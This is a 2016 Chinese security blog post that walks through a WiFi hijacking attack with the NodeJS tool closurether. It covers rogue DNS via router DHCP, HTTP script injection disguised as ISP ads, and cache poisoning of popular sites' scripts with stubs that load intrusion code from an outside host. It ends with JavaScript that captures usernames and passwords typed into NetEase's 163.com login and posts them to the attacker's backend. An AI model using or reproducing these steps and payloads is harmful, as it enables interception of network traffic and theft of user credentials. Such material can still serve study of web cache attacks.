首页 信息安全

WiFi流量劫持―― JS脚本缓存投毒

发布时间:2016年01月10日评论数：抢沙发阅读数：5485

在上一篇《

WiFi流量劫持—— 浏览任意页面即可中毒

》构思了一个时光机原型，让我们的脚本通过HTTP缓存机制，在未来的某个时刻被执行，因此我们可以实现超大范围的入侵了。

　　基于此原理，我们用NodeJS来实现一个简单的样例。得益于node强大的IO管理，以及各种封装好的网络模块，我们可以很容易实现这个想法：

开启一个特殊的DNS服务：所有域名都解析到我们的电脑上。并把Wifi的DHCP-DNS设置为我们的电脑IP。
之后连上Wifi的用户打开任何网站，请求都将被我们的node服务收到。我们根据http头中的host字段来转发到真正服务器上。
收到服务器返回的数据之后，我们就可以实现网页脚本的注入，并返回给用户了！
当注入的脚本被执行，用户的浏览器将依次预加载各大网站的常用脚本库。我们将其感染，并设置超长的缓存时间。

　　于是大功告成！

　　为了方便测试和控制，已把整个流程：DNS、HTTP代理、代码分析和注入都使用NodeJS编写，并整合在一起。下面就来测试一下！

　　获取Demo: （https://github.com/EtherDream/closurether）

		
									1
								
									  # npm <span style="color: rgb(0, 0, 255);">install</span> -g closurether

　　运行:

		
									1
								
									  # closurether

　　启动成功的话，会输出：

		
									1
								
									  [SYS] local ip: <span style="color: rgb(128, 0, 128);">192.168</span>.<span style="color: rgb(128, 0, 128);">1.250</span><span style="color: rgb(0, 0, 0);">  [DNS] running </span><span style="color: rgb(128, 0, 128);">0.0</span>.<span style="color: rgb(128, 0, 128);">0.0</span>:<span style="color: rgb(128, 0, 128);">53</span><span style="color: rgb(0, 0, 0);">  [WEB] listening </span><span style="color: rgb(128, 0, 128);">0.0</span>.<span style="color: rgb(128, 0, 128);">0.0</span>:<span style="color: rgb(128, 0, 128);">80  </span>[WEB] listening 0.0.0.0:443

　　当然，192.168.1.250这是我本地的IP，推荐使用固定的IP地址。

　　打开无线路由器-DHCP配置，将主DNS设置为自己的IP，重启路由。到此，你已经控制了整个无线网络的流量了！

　　用另一台电脑连上你的wifi：

　　这时会发现，ping任何域名，不出意外的话都会返回你的IP，DNS劫持已发挥作用了！

			
										1
									
										  $ ping www.baidu.com  PING www.baidu.com (192.168.1.250): 56 data bytes  Request timeout for icmp_seq 0    $ ping www.google.com  PING www.google.com (192.168.1.250): 56 data bytes  Request timeout for icmp_seq 0

　　打开任意网页，一切正常。我们可以在node控制台看到用户访问的每一个请求。

　　当然这时网页上什么效果也没出现。这个Demo毕竟是个间谍程序，怎么可能会有界面呢？

　　想看效果的话修改项目里的asset/inject/extern.js，往里面加一条：

		
									1
								
									  alert('Hello World');

　　这时再刷新页面，效果出现了！

　　打开任意网页的源文件，发现其中都注入了我们的脚本内容。为了隐蔽性，这里将注入的脚本伪装成运营商的url，别人还以为是联通宽带插的广告 ^_^

　　具体想伪装成什么地址，可以在config.json里配置。

　　脚本内容正是asset/inject/extern.js文件：

　　到此，我们已实现把javascript代码注入到WiFi网络的HTTP流量里了！

　　下面测试我们的终极目标：能穿越到未来执行的脚本时光机。

　　前面仔细观察的话，不难发现注入的脚本内容里多出一大堆url，这些正是我们需要让用户预加载并缓存的各大网站脚本。具体原理在上一篇里已经详细讲解了。

　　如果想入侵更多的网站，往tool/cache-sniffer/url.txt里添加。运行：

		
									1
								
									  $ phantomjs sniffer.js

　　程序将自动更新注入脚本的内容。

　　要想预加载并缓存一个脚本很容易，只需new Image().src='...'。当然有少数浏览器不支持，不过ie和chrome都是支持的。尽管js文件并不是一个图片，但仍然会缓存。

　　上一篇文章已说明，为了减少一次请求大量脚本文件消耗的带宽，我们并不返回真正的原始脚本文件，而是一个很小的“桩文件”，用来启动我们的入侵代码，以及恢复原始脚本文件。

　　因此这个“桩文件”代码量非常少，区区百来字节而已。例如hao123网站下的某个已被感染了的脚本：

　　我们创建两个script元素，来加载外网的入侵代码，以及恢复原始脚本代码，使网页能正常运行。注意：原始脚本url后面的?1必不可少，否则又会从缓存里加载被感染的当前脚本，进入死循环。

　　使用document.write的好处在于，它创建的脚本是异步加载顺序执行的。所以在原始脚本未加载完之前，后面的脚本不会执行，避免了未定义错误的发生。

　　入侵代码的url可以在config.json里hacker_url字段配置。为了保证未来被感染的脚本被唤醒时，能正常调出你的入侵代码，所以选择一个可靠的外网来存放。

　　本Demo演示如何入侵并截获网易首页的账号，可以参考代码：http://jslog.sinaapp.com/ad.js。

　　演示中的代码很简单，仅仅捕捉用户在网易首页上输入的账号和密码而已，然后传给后台保存到数据库里。

			
										1
									
										    var url = location.href;      if (//.163/.com/i.test(url)) {          function onSubmit() {              post(                  NTES.one('#js_loginframe_username').value,                  NTES.one('input[type=password]').value              );          }            NTES.one('.ntes-loginframe-btn').addEventListener('click', onSubmit);            NTES.one('input[type=password]').addEventListener('keydown', function(e) {              if (e.keyCode == 13) {                  onSubmit();              }          });      }